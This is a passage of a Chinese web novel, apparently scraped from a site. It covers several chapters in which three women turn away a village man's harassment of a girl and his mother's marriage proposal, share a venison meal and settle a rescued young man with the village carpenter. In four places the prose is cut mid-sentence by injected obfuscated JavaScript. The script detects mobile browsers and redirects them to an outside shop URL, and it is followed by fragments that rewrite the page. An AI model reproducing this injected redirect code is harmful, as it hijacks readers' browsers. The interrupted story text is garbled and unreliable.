“我叫李贵。”李贵笑了笑,“袁姐姐这不是知道我吗?不是我娘叫我来的,我是看到那位妹妹刚才拿着鹿腿从村里过,才过来想跟你买点儿鹿肉的。” 袁竹审视着李贵的脸,“你真要买鹿肉?” 李贵从怀里掏出一串铜板来,“真的,钱我都带来了。” “行,要多少?我去给你切。”袁竹说着进了厨房。 “这得看你怎么卖,要是?贵,我就少要点儿,要是便宜,我就多买点儿。”李贵说着,走到阮荷面前,“妹妹怎么哭了,是不是袁竹欺负你了?” “小阮!到我身边来!”姜佑安说道。 “嗯。”阮荷转身跑到姜佑安身后,手扶着竹椅的靠背,不敢抬眼看人。 “这几位都是谁啊?怎么看着都这么脸生?”李贵扬声问道。 “你管呢?”袁竹拿着菜刀和瓷盆从厨房里出来,走到鹿的躯骸旁,“看在王大娘的份上,给你便宜点儿,你要排骨还是腿肉?” 李贵直直盯着阮荷,“腿肉,我娘喜欢吃肉。” 袁竹割了一大块腿肉,在手里掂量掂量,没有四斤也有三斤多,“这些够不够?” “够了。”李贵看了一眼肉,又看向阮荷,“这位小妹妹是你什么人啊?” “是我妹妹,怎么了?”袁竹把肉放进瓷盆里,放下刀,站了起来,“算你一百文好了,钱带得够吗?” 李贵把钱递给袁竹,“够,你数数,多的还给我就行。” 袁竹没有去接钱,转身进了厨房,“小阮,你会数数吧,数一百个留下,剩下的还给他。” “哦。”阮荷听了,迟疑着走了过去,伸手去拿钱。 李贵趁机一把抓住了阮荷的手,笑问道:“你叫小软?这手当真是挺软。” 阮荷害怕地向后退,却被李贵使劲向他怀里拉。 姜佑安见状跑过去,挥拳用力打在李贵的胳膊上,“放手!” 李贵吃痛放开手,“你是谁?怎么打人啊?” 袁竹拿着麻绳和剪刀走了出来,“你们干吗呢?” “我什么也没干,这个疯婆子就突然冲过来打我。”李贵大声说道。 “果真是个流氓,一张嘴就颠倒黑白。”姜佑安对阮荷说道,“小阮,你先进屋去。” 阮荷捂着手,流着泪,害怕得说不出话来,听到姜佑安让她回屋,她赶忙快步进了屋。 李贵大声嚷嚷道:“说谁流氓呢?我只是来鹿肉的,你凭什么打人?” 袁竹也没注意看阮荷的样子,蹲下身子,用剪刀把肉捅了一个洞,拿麻绳穿过去,打了个结,拎起来正要递给李贵,却看见他手里还拿着那串钱,“钱还没数好?” 李贵把手里的钱揣进怀里,大声质问道:“你家里的人打了我,你还想找我要钱?” “她不是我家人,她打你是她的事,你先把钱给我。”袁竹说道。 “你说不是就不是吗?别以为我不知道,她在你家住了有一个月了吧,肯定是你家什么亲戚。”李贵说道。 “她才不是什么亲戚,赶紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665233|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把钱给我,我还要做饭去。”袁竹不耐烦地向李贵伸出手。 “我不管她是不是你的亲戚,反正我是在你家被打的,你就要负责任。”李贵说道。 “负什么责任?”袁竹问道。 李贵笑了笑,“你要是同意把你妹妹嫁给我,今天我被打的事,就一笔勾销,鹿肉的钱,我加倍给你,还有你家里藏着个男人的事,我也绝对不跟外人说。” 袁竹眉头一皱,“你是在威胁我?” “这怎么能叫威胁呢?这是商量,你也真是的,家里养了男人,也不跟我娘说,我娘还张罗着要给你找个好婆家呢。”李贵笑着说道。 袁竹深吸了一口气,缓缓吐出,转头看向姜佑安,“你打他干什么?” “他拉着阮荷的手不放,还说阮荷的手软,我打他有错吗?”姜佑安气愤地说道。 李贵嗤笑一声,搓着双手,似有陶醉之意,“刚才我在村里遇到小软,她冲着我笑了,我是看她对我有意思,才来求娶的,反正她早晚是我的人,我摸摸她的手怎么了?” 袁竹把手上拎着的肉扔回瓷盆里,走到墙边,抓起扫帚就向李贵的身上打去,“他大爷的!你敢欺负到老娘头上!老娘家里就是有十个男人,也跟你不相干!你敢欺负阮荷,看我不打断你的狗腿!” 李贵见状,撒腿就跑,边跑边回头骂道:“袁竹你个泼妇!你这么凶,有哪个男人敢娶你!怪不得你成了寡妇,娶了你,是个男人都想死吧!活该你一辈子守寡!活该你没人疼!” “我守寡我愿意!你倒是愿意娶媳妇,你怎么不娶啊?也就你娘把你当个宝,长得这么丑,家里这么穷,还敢来我家骚扰阮荷,滚!不要脸的狗东西!”袁竹追出门去,见李贵跑远了,气得把扫帚扔了出去。 姜佑安拖着酸疼的身子出了院门,阮荷也跑了出来,追过去把扫帚捡了回来。 见袁竹发这么大火,阮荷哭着道歉:“袁姐姐,对不起,都是我不好,你别生气了。” “跟你有什么关系!”袁竹生气地大声说道。 姜佑安慢慢走了过来,“小阮,你不用道歉,你袁姐姐不是在生你的气。” 杨恩在院门边,悄悄探头向这边张望。 阮荷被袁竹凶了一句,哭得更厉害了,“对不起。” 姜佑安轻轻把阮荷抱在怀里,“不是你的错,是我们不好,眼见他包藏祸心,还让你被他欺负了,是我们该向你道歉才是。” 袁竹气得大声喘气,恨不得能痛揍李贵一顿,“是那个狗东西该道歉。” “对,你袁姐姐说得对,是欺负你的人该向你道歉,等我身体修养好了,我就押他来给你道歉。”姜佑安说道。 袁竹转身向院门走去,“回去烧水吃饭吧。” 阮荷搀扶着姜佑安回了袁家。 袁竹不声不响地拿起菜刀,回了厨房,杨恩快步走进了厨房,把火点了起来。 原本开开心心准备吃鹿肉,现在却闹成了这个样子,每个人心里都不是滋味。 袁竹把鹿肉切成薄片,让阮荷和点面做面条,又让姜佑安去菜园里摘些葱和青菜来。 柴火在锅下烧着,水开了,袁竹加了些盐和姜片,把鹿肉下进滚烫的锅中。 袁竹迟疑地搅动锅里的肉片,缓缓说道:“你们要是实在无处可去,那就都留下吧。” 15. 涮肉 正在切面的阮荷、洗菜的姜佑安还有烧火的杨恩都一齐看向袁竹。 “我是贱命一条,活着还是死了都无所谓,只因三位姑娘救了我的性命,我才想留在这里干活,报答姑娘的恩情,如果给姑娘造成了困扰,那我宁愿冻死在外面。”杨恩说道。 听到杨恩的话,袁竹牵动嘴角笑了一下,“你可真是怪人。” 杨恩看着灶膛内的火光,平静地说道:“我的亲人都离世了,等还完了姑娘们的恩情,我就去和家人团聚。” 没想到他有如此想法,袁竹一时不知该作何反应。 姜佑安插话道:“我可不想冻死在外面,谢谢袁姐姐愿意留下我们,我会想办法挣钱的。” “佑安姐姐有什么办法?”阮荷好奇地问道。 “她一个十指不沾阳春水的大小姐,能有什么挣钱的法子,我们以后都省着些过就是了。”袁竹说道。 “实在不行,我就少吃点肉,把打到的猎物拿到城里卖去。”姜佑安说道。 “嗯,这倒算个办法,只是打猎这个事,也是看运气的。”袁竹拿了四只碗,放在锅台上,“姜佑安,菜洗干净了就拿过来,小阮,面先切那些就够了,杨恩,添一根新柴进去,你也过来吃饭吧。” 姜佑安把洗干净的菜递给袁竹,拿起碗和筷子,“原来是涮着吃啊,还是你有办法。” 袁竹把肉捞出来分到四个碗里,又下了一些肉,“我家那边也有山,小时候见我娘这么做过。” 姜佑安夹起一大筷子放进嘴里,嚼了两下,面露难色,“这肉,没有味儿啊。” “怎么可能,我在水里放了盐的。”袁竹说着,自己也尝了一口,“是有点淡。” “再往锅里加点盐吧,这么淡怎么吃啊。”姜佑安说道。 袁竹大口吃着肉,“凑合吃吧,盐也不便宜,以后咱们四个人一起生活,还是要节省一些。” 姜佑安“以后没钱了再说,我今天都猎回来这么大一头鹿,连一点盐都不配吃吗?” 今天能吃上肉,确实是姜佑安的功劳,袁竹把盐罐子捧过来,放在她面前,“想吃盐,加你自己碗里吧。” “这怎么吃?肉片蘸盐?”姜佑安小声抱怨道。 阮荷尝了尝肉,确实没什么味道,她主动提议道,“我来做个酱汁,蘸着吃吧。” 姜佑安马上露出了笑脸,“好啊,小阮的手艺,我信得过。” “行,你做吧,我就不用了,就这样也能吃。”袁竹说道。 阮荷拿了一个大碗,放入蒜末、葱花,加了酱油和两勺盐,又舀了一勺滚烫的鹿肉汤浇了进去,拿瓷勺分给姜佑安。 姜佑安从锅里捞出肉片来,蘸了蘸汁水,就迫不及待地塞进嘴里,肉片太烫,她又赶忙拿了出来。 “烫,小心点儿吃。”袁竹皱着眉头说道。 “知道了,知道了。”姜佑安舔了舔嘴唇,呼呼吹了两口,又急忙塞进嘴里,这回咸淡正合适,蒜末的一点辛辣味儿,既解了腻,又让肉香变得格外明显,她一边咀嚼一边称赞,“好吃好吃!” 袁竹看她这样子,有些嫌弃地说道:“你也太夸张了吧!” “一点儿都不夸张!小阮,快给她尝尝,这才是吃肉该有的享受,没滋味的肉,简直是暴殄天物!”姜佑安一边说,一边继续往碗里捞肉。 阮荷给袁竹的碗里添了几勺料汁,袁竹尝了尝蘸了料汁的肉,味道确实不错,她又下了些肉片,“你们多吃点儿,不够我再去切。” 阮荷给杨恩的碗里添了料汁,杨恩双手捧碗,低头道谢,“有劳姑娘。” “你也太客气了,以后我们就是一家人了,她叫你哥哥,你叫她妹妹就是了。”姜佑安说道。 “蒙姑娘们不弃,让我能同席吃饭,我还怎敢言语冒犯。”杨恩低着头说道。 “这里不是你卖身的主家,没有人要你做仆人,大家都是一样的人,你这样说,倒显得我们欺负你似的。”袁竹说道。 “就是,杨大哥,你就听两位姐姐的,别这么客气了。”阮荷也劝道。 杨恩抬头,看了看姜佑安,又低头道,“我只是个下人。” 姜佑安埋头吃饭,“我不是什么千金大小姐,你也不是什么下人,以后我们有活一起干,有肉一起吃,你别欺负小阮就行。” “我怎能辜负阮姑娘在我病中照顾我的恩情。”杨恩答道。 袁竹下了些青菜进去,“别说这些了,快吃吧。” 杨恩夹了几片肉,又吃了些青菜,“我吃饱了。” 杨恩说完就要放下筷子,姜佑安一把抓住了他的胳膊,“吃这么点哪够?我看你病重的时候,吃得可比现在多多了。” 杨恩轻轻挣脱了姜佑安的手,“病重的时候比较饿,现在好了,自然就吃得少了。” 姜佑安又抓住他,“看你身子这么瘦弱,吃这么点东西怎么能行,接着吃!” 杨恩还想挣脱,这次姜佑安的手上用力,他挣不开,“姜姑娘,请放开我。” “我是说以后可能会比较艰难,但现在还是能让你吃饱的,况且今天还有鹿肉,趁着新鲜,多吃些。”袁竹劝道。 “杨大哥,以后我们都是一家人,你不用这么客气。”阮荷也劝道。 “对,你得学一学姜佑安的厚脸皮。”袁竹说道。 “我怎么厚脸皮了?”姜佑安反驳道。 “赖在我家不走,吃饭不够还要吃肉,这还不够厚脸皮吗?”袁竹笑着说道。 姜佑安手上的力气没有松,杨恩觉得手腕有些疼了,“姜姑娘,我吃就是了。” 姜佑安放开手,满意地笑了,“这就对了,你有什么想法,就说出来,有问题大家一起解决,不用你挨饿,给我们省粮食。” 杨恩端起碗,袁竹给他捞了些肉片,他慢慢吃着,觉得心里舒坦了不少。 袁竹把面条下进锅里,又去切了些肉片,“今天这顿,肯定让你们都吃过瘾。” “好,我要吃到撑得走不动为止。”姜佑安高声说道。 “走不动可不行,你着浑身是血的,可得好好洗个澡,再把衣服洗一洗。”袁竹说道。 “我只有吃肉的力气了,袁竹,你帮我洗吧”姜佑安说道。 袁竹把肉片下进锅里,拒绝道:“从早上忙到现在,我没有一刻歇着,你还要让我帮你洗,我才不帮!” “袁姐姐!”姜佑安央求道。 袁竹一脸嫌弃, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“当然是。”陈大用回忆起往事,“想当年,我在山里蹲守了两年,才打到一只小鹿,你拿到我的弓到现在,不过才一个月,比我那时可强多了。” “老爷子,你可别夸她了,再夸下去,她都不知道自己是谁了。”袁竹笑着说道。 “她每天都在练习射箭,这我也是知道的,能打到猎物,也是多亏了她这么用功。”陈大用说道。 “陈爷爷说得对,佑安姐姐天天都在练射箭,靶子都用坏三个了。”阮荷说道。 “好在射坏的靶子还能用来烧火,要不然,可经不起她这么浪费。”袁竹说道。 陈大用听到厨房里有人在刷碗,向厨房内看了看,里面光线昏暗,他只模糊看到一个人影,“袁姑娘,你家最近好像热闹了不少。” “不过是多了些妹妹弟弟,姜佑安和阮荷你都见过了。”袁竹转头向厨房内扬声说道:“杨恩,过来给老爷子打个招呼。” 杨恩放下的手里正在涮洗的碗,犹豫地走到门边,“袁姑娘,你不是想让人知道有男人住在你家吗?” 16. 寡妇 袁竹走进厨房,把杨恩拉了出来,“这是我刚认的弟弟,叫杨恩,杨恩,这是村里的木匠,陈老爷子。” 杨恩向陈大用点头打招呼,“陈爷爷。” 陈大用看了看眼前的四个人,沧桑的脸上露出担忧的神色,“你们几个姑娘,和一个男人住在一起?” “怎么了?有什么问题吗?”姜佑安问道。 “按说我只是个外人,不该多嘴,但是……”陈大用话还没说完,袁竹就打断了他。 “我知道你是什么意思,杨恩是姜佑安在山上的土地庙发现的,当时他病得神志不清,毕竟是一条人命,我也不好赶他走,本想他病好之后就让他走的,可他父母双亡,没有可以投奔的人,我就留了他在我这里,帮我干活。”袁竹说道。 “原来是这样,你早来跟我商量商量就好了,我家里有空房间,就让他白天在你这里干活,晚上去我那里住吧。”陈大用提议道。 “杨恩是我们要救的,怎么能麻烦你,原本我还想让他待在家里,别让人看见了,不过现在,也不用避嫌了。”袁竹说道。 陈大用皱起了眉头,脸上的皱纹格外明显,“怎么不用?你们三个姑娘家的,和一个男人住在一起,被别人知道了,还不知道要传出多难听的话。” “没事,反正已经被王大娘的儿子李贵知道了。”袁竹说道。 “李贵?他怎么会到这里来?”陈大用问道。 “我让阮荷去给你送鹿腿,让他看见了,估计是一路跟着阮荷过来的。”袁竹啐了一口,“那个狗东西,先是让他娘来说亲,要我嫁给他,见我不同意,又盯上了阮荷。” 陈大用看了看阮荷,生气地说道:“这么小的姑娘,他也好意思?真该打断他的狗腿!” “估计到不了明天,整个村都知道我这屋里有男人了。”袁竹说道。 “李贵的话,大家听听也就算了,只要让杨恩去我那,别人也不能再说什么。”陈大用说道。 袁竹微微一笑,“没事,让他们说去吧。” “袁姑娘,我知道你一个人在这里生活不容易,你就别跟我见外了,我家里只有我和我孙子,怎么说也比你们三个姑娘家要方便些。”陈大用说道。 “事是我做的,怎么好麻烦你。”袁竹说道。 “不麻烦,我孙子不爱做木工活,我正好想找个人给我帮忙,就让他跟着我干活,我给他地方住,还能开点工钱,你这边要是忙不过来,再叫他过来不就行了。”陈大用说道。 袁竹看向杨恩,“你觉得怎么样?” “我住在这里,对姑娘们来说,确实不太方便,要是能帮到陈爷爷,我愿意跟陈爷爷学木工。”杨恩说道。 “行啊,小伙子,你收拾收拾跟我走吧。”陈大用说道。 “我没什么东西,现在就可以走。”杨恩说道。 “等一下。”袁竹进了屋,把一块碎银子递给杨恩,“你之前给我的钱,请了郎中,抓了药,还买了些鸡蛋,剩下这些没花完,你自己收好。” 杨恩没有去接,“袁姑娘,你们救了我的命,这银子,就留给你们了。” 袁竹一把抓过杨恩的胳膊,把银子塞进他手里,“我有钱,你的钱你自己留着。” 杨恩知道自己改变不了袁竹的主意,只能以后常来帮她干活,以报答恩情了,他向三人鞠躬行礼,“那我就收下了,姑娘有要用钱的地方,一定要告诉我,我今天就跟陈爷爷走了,明天再来干活。” “去吧去吧。”姜佑安挥手说道。 陈大用带着杨恩出了门,袁竹和阮荷刷完碗,把剩下的鹿肉留下一块晚上吃,剩下的都用盐腌制起来。 家里没有了男人,袁竹和阮荷都觉得自在了不少,说起话来也放松了许多。 晚上,阮荷炖了一锅肉,姜佑安中午吃得太撑,晚上吃了几块就没了胃口,第二天一早热一热,倒是又吃了一大碗。 睡了一晚之后,姜佑安更觉得浑身酸疼,反正还有很多肉,她也就没有上山,打算好好修养一番。 见她在廊下坐着乘凉,阮荷搬着竹椅坐在了一旁,给她摇着蒲扇。 丝瓜花繁盛,蝉鸣无休无止,清风一阵有一阵无,姜佑安呆坐在椅子,觉得实在无趣,想吃茶点,听先生说书,再看一出热热闹闹的武戏。 可惜,这里什么都没有,连一本解闷儿的话本都没有。 姜佑安转头看向阮荷,问她会乐器吗,她摇头,问她会唱曲吗?她也摇头。 姜佑安死了心,闭上眼睛打瞌睡。 迷迷糊糊的,她听见了袁竹的声音,“这么睡,脖子不难受吗?” 原来已经到了中午,袁竹卖花回来了,她睁开眼睛,慵懒地打了声招呼,“你回来了。” 袁竹走进屋里洗了把脸,“困了就到床上睡去。” “佑安姐姐,准备吃饭了。”阮荷端着菜走了过来。 姜佑安站起身,怔怔地走到桌边坐下,好像还没睡醒的样子。 袁竹也去坐了下来,“身上感觉怎么样?” 姜佑安抬起头,看着袁竹发呆。 “她怎么了这是?”袁竹向阮荷问道。 阮荷把碗筷放在桌上,笑了笑,“可能睡迷糊了吧。” 袁竹笑话了姜佑安两声,也没再说什么,三人吃过了饭,袁竹出了趟门,又很快回来了。 姜佑安又去了廊下坐着,见袁竹回来,开口问道:“你去哪了?” “今天中元节,我买了一沓纸钱给杨恩,他爹不是就葬在山上吗,我让他烧点纸钱尽尽孝。”袁竹说着也在廊下坐了,阮荷洗过了碗,也去了两人身边坐着。 “你也要烧纸钱?”姜佑安问道。 “我爹娘都在世,不用烧纸。”袁竹说道。 “你丈夫不是死了吗?”姜佑安追问道。 “佑安姐姐,那应该是李贵胡说的。”阮荷说道。 “不是胡说,我丈夫是死了。”想到那个人,袁竹叹了口气,“他自有他的父母会给他烧纸。” 看袁竹神色悲伤,阮荷小心翼翼地问道:“袁姐姐,你很难过吗?” 袁竹还没回答,就见王大娘笑吟吟地走进了院子,“袁竹回来啦。” 袁竹坐着没有起身,微笑着问候道:“王大娘怎么来了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665235|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗨!别提了,还不是因为我那个儿子,他不知道在哪儿听说你家有个妹妹,从昨天就催着我过来。”王大娘看见阮荷,眼前一亮,当真是个美人胚子,“这就是你妹妹吧?妹妹叫什么名字?今年多大了?” 阮荷低下了头,一言不发。 “这小姑娘,怎么不说话呢?见了人也不知道打招呼。”王大娘责怪道。 “我妹妹胆小,不怎么见生人,大娘有话就直说吧。”袁竹说道。 王大娘笑了笑,“袁竹,你知道,我一向是很喜欢你的,你要是能给我家做儿媳妇,那真是老李家天大的福分,可惜,我家那小子没看你,倒看上了你妹妹,这也好,不管怎么说,只要能跟你结了这个亲,大娘我都是高兴的。” 袁竹盯着王大娘的眼睛,扯出一个笑脸来,“你家儿子那个熊样,能娶到媳妇,你确实该高兴,不过,我不高兴。” 王大娘脸色有些尴尬,“你这个姑娘,怎么说话呢?” “大娘你别不高兴,我只是有话直说而已,我们两家结不了亲,不是你儿子看不上我,是我看不上你儿子。”袁竹笑着说道。 王大娘还不想扯破脸皮,她维持着假笑,“好好好,刚才就当是我说错话了,你看不上我儿子,那就算了,你妹妹能看上就行。” “一个没人要的老光棍,我妹妹也看不上。”袁竹说道。 “话也不是这么说的,你妹妹常年不在你身边,你可能也不太了解她。”王大娘得意地笑了一声,“我儿子说了,你妹妹对他可满意了,不仅对他笑了,还亲自把他领到了你家来,让我儿子跟你提亲呢。” 阮荷惊恐地睁大了眼睛,“我没有!” 王大娘笑呵呵地对阮荷说道:“我儿子说的还能有假?小姑娘,你别害羞,大娘我都懂,这事就交给我,你就等着风风光光地出嫁吧。” 阮荷拉住了袁竹的袖子,急得快要哭出来,“袁姐姐,我没有,我不嫁。” “她说她不嫁。”姜佑安说道。 王大娘看向姜佑安,“就是你打了我儿子吧,看在袁竹的份上,我就不让你给我儿子赔礼道歉了,不过,你也别在这里捣乱。” “阮荷说她不嫁。”姜佑安重复道。 王大娘语气轻松,“孩子的婚事,都是父母做主,袁竹一个寡妇,身边只有这一个妹妹,妹妹的婚事,自然是该她这个姐姐做主,只要袁竹同意,其他都好办。” “我不会做我妹妹的主,她说不同意就是不同意。”袁竹说道。 王大娘双眉一竖,显露出刻薄的表情,“袁竹,你自己守寡就算了,还要拖累得妹妹不能嫁人吗?” 袁竹站起身来,正色道:“我守不守寡,我妹妹嫁不嫁人,都与你无关。” “我好心给你家说亲,你可别不知好歹。”王大娘生气地说道。 “我搬到这里两年多了,你以为你儿子是什么人,我一点儿都不清楚?你到处给他说亲,废了不少功夫吧,有人答应吗?”袁竹问道。 提起儿子,王大娘笑了,“我儿子就是眼光高,他身形高大,长得也不错,还会疼人,你们啊,就是没这个福气!” 17. 菊花 “李贵那个长相也能叫长得不错?”姜佑安像见了鬼一样,不可思议地看着王大娘,“你从来没见过长得好看的男人吧,真是可怜。” 袁竹冷笑一声,“这么好的儿子,你就自己留着吧,我看别的女人确实没这个福气。” “你们!”王大娘气得鼻孔里冒火气,“能伺候我儿子,搁哪个女人身上,都是天大的福气,一个黄毛丫头、一个疯婆子,还有一个克夫的寡妇,你们这样的家庭,我来说亲,都是抬举你们!” 姜佑安站起身来,比王大娘高了一个头,她气势汹汹地说道:“我们用不着你抬举,你那个不要脸的儿子,摸了我妹妹的手,让他来给我妹妹道歉!” 王大娘退后了两步,“道歉?你说什么胡话呢!我儿子摸她,肯定是她让我儿子摸的,你们还想怪到我儿子头上。” 袁竹觉得无比厌烦,上前拉住王大娘的胳膊,把她往外扯,“不愿意道歉就算了,我也不买你家的鸡蛋了,你和你儿子以后都别往我家来。” 王大娘被推出门去,嘴上还不依不饶,“你以为我稀罕来啊,走到你家门口我都嫌晦气!” 袁竹关上了大门,不再理会她。 王大娘在门口站了一会儿,想着怎么跟儿子交差,不过,这家人实在不讲理,自己也没有办法,好看的女人多得是,以后再找别家的吧,想到这,王大娘又骂了两声,回去了。 袁竹回到廊下坐下,手上摇着蒲扇,嘴里骂骂咧咧。 阮荷低头垂泪,一言不发。 姜佑安把手搭在阮荷的肩膀上,疑惑地问道:“小阮,我们又没有要把你嫁出去,你哭什么?” 阮荷吸了吸鼻子,“对不起,都是我惹出来的麻烦。” “这都是那个狗男人不自量力,跟你没有关系,你没错。”姜佑安轻声安慰道。 “别哭了,我们没有怪你。”袁竹用力挥动着蒲扇,额头上的碎发乱飞,“小阮,你长得好看,我决定收留你的那天,就知道肯定会有这种事,以后肯定还会有很多男人追求你,你得自己能拒绝才行。” 姜佑安捏了捏阮荷的胳膊,“你还是太瘦了,多吃点儿肉,长得强壮些,这样男人拉扯你的时候,你也不至于完全反抗不得。” “不用太强壮,我留下你,就是为了保护小阮的,以后你多注意着点儿,凡事要以小阮的安全为先。”袁竹说道。 姜佑安听了有些惊讶,随即笑了出来,“没想到我也有给人当侍卫的一天。” 袁竹也笑了,“你身子健壮扎实,个头儿也不矮,当侍卫正合适吧。” 阮荷用手背抹了一把脸上的泪水,眨着懵懂的双眼,“侍卫是什么?” 姜佑安用衣袖擦去她脸上的泪痕,微笑着说道:“侍卫就是在你身边保护你的人。” 阮荷露出了笑脸,“那两位姐姐都是我的侍卫,我和你们在一起,就什么都不怕了。” 袁竹突然想起了刚才王大娘说的话,忙问道:“你去送鹿腿的时候,李贵没对你做什么吧?” “没有,我就看见有一个人远远跟着我,送了鹿腿,我就赶忙跑回来了。”阮荷说道。 “你没跟他说话?”姜佑安问道。 阮荷摇了摇头,“没有。” “看来这个家伙病得不轻。”姜佑安说道。 袁竹语带嘲讽,“就这,他娘还把他当个宝呢。” “他娘也不太正常。”姜佑安说道。 “我刚搬过来的时候,她对我特别热情,我当时也没什么防备,就跟她说了我丈夫病死的事,没想到第二天,全村的人都知道了。”袁竹说道。 “真是多嘴多舌,她这样对你,你怎么还跟她有来往?”姜佑安问道。 “她做了馒头、饼什么的,常给我送些来,伸手不打笑脸人,我也不好说什么,后来我知道她是为了让我嫁给她儿子,就不怎么理会她了,前一阵去村里买鸡蛋,才又找到她。”袁竹说道。 “你丈夫是怎么死的?”姜佑安问道。 袁竹语气平静,“病死的。” “你在为你丈夫守贞?”姜佑安追问道。 “贞洁之类的说法,我不在乎,我只是觉得一个人生活很好,很清静。”袁竹说道。 姜佑安轻轻一笑,“这么说,是我们打扰了你的清静。” “你知道就好。”袁竹笑了笑,“清静有清静的好,热闹也有热闹的好,先住着吧,也许不知道哪天,大家就都离开了。” “我们要是不离开呢?”姜佑安问道。 “那就只能指望我们发大财,然后买个大院子了。”袁竹起身向屋里走去,“我去睡一觉,等太阳没这么烈了,叫我起来,我去给菊花浇水。” “好。”阮荷乖巧地应道。 宁静的院子,偶尔有清风抚过,姜佑安也有些困了,看着丝瓜架下的阴影,她想,要是有凉床就好了,把凉床搬到丝瓜架下,吹着风睡午觉,又阴凉又舒服。 这样想着,姜佑安靠着竹椅的椅背睡着了。 大概到了申时,阮荷去叫醒了袁竹,袁竹拿起扁担,挑着两个桶,出门去了。 姜佑安睡眼惺忪,站起身神了个懒腰,觉得身上的酸疼不减,但还是强撑着说道,“我跟你一起去挑水吧。” 阮荷拦住了她,“佑安姐姐,你去床上睡会儿吧,我跟袁姐姐去挑水。” 姜佑安感觉脑子昏昏沉沉,就去床上睡了,这一睡,竟像是脱力了一样,阮荷来叫她吃晚饭,她只模糊应了一声,又接着睡了过去。 直到第二天袁竹卖花回来,姜佑安还在睡着,听阮荷说她起来吃过了早饭,袁竹才放心,去叫她起来吃午饭。 姜佑安起了床,感觉身上松快了不少,吃了一大碗饭,活动活动胳膊,下午又在院子里练起箭来。 袁竹买了些棉花回来,又掺了些碎布头,阮荷坐在廊下,动手给姜佑安缝枕头。 袁竹在一旁说起今天杨恩过来,跟她一起进城卖花,因为杨恩长得好看,引得不少人来买花,比以往卖得都多些。 自此,杨恩每天上午跟袁竹一起去卖花,回来后,就在袁家吃午饭,然后去陈大用家做木工活,晚上在那里吃饭歇息。 阮荷一天做三顿饭,打扫家里的卫生,干些杂活,有时下午也会跟袁竹一起去地里干活。 陈大用送来了鹿骨做的扳指,姜佑安拉起弓箭来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665236|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更顺手了,每隔三五天,就能打到猎物,家里还有鹿肉做成了腊肉,她就把猎物就拿到城里去卖,倘若留着自己吃,就给陈大用分一半。 日子安安稳稳地过着,天气渐渐转凉,秋风起,其他花的花期进入尾声,菊花地里的花蕾慢慢膨大。 袁竹在菊花地里忙碌的时间变多了,见袁竹和阮荷常在地里忙碌,姜佑安也想帮帮忙,袁竹递给她一把铁锹。 “这是干什么用的?”姜佑安问道。 “挖土的。”袁竹走出院子,指着不远处的一个土堆,“把那堆东西挖松,然后运到菊花地里去。” 姜佑安知道那堆东西,阮荷说那叫粪堆,平时择菜的烂叶子还有卖剩的花都被扔在那里,还有锅灶地下清出来的灰、枯草树叶也都堆在那里,这些都还好,关键是里面还有粪便。 “真的要我干这个吗?”姜佑安面露难色,早知道就不说要帮忙了。 “最近好几天没有打到东西了,你一身的力气不正愁没地方使吗?”袁竹说道。 “还是我来吧。”阮荷过来拿走了姜佑安的铁锹。 姜佑安心里暗暗松了一口气,自己还是去练箭吧。 “是她要干的,你帮她做什么?小阮,她是你姐姐,应该她照顾你的,用不着你事事都帮她做。”袁竹说道。 “佑安姐姐没做过这些,我从小生活在这里,这些农活都做过,多照顾她一些也没什么的。”阮荷微笑着说道。 袁竹有些不满,“她不能做的,你帮她,算是照顾,她能做的,你还帮她,就说不过去了吧,她到了这里,就不再是什么大小姐了,她有手有脚的,又不是个废物,用不着你伺候她。” 阮荷笑了笑,没说话。 袁竹看向姜佑安,“你就这么心安理得地让她帮你干活?” 姜佑安避开袁竹的视线,“是小阮主动说要帮我做的。” “是,都是小阮主动要帮你做的,帮你梳头,帮你盛饭,帮你倒水,帮你刷碗,你明明岁数比小阮大,身体也比小阮强壮,却让小阮天天伺候你,我看以后就让小阮做姐姐,让她叫你佑安妹妹吧。”袁竹冷冷地说道。 见袁竹生气了,阮荷赶忙劝道:“没事的,袁姐姐,这都不算什么,我在家里也是做惯了的,佑安姐姐可比我弟弟们要省心多了。” 袁竹看着姜佑安,挑了挑眉毛,“听见没,你只配和小阮的弟弟相比,以后要叫小阮姐姐,知道了吗?” 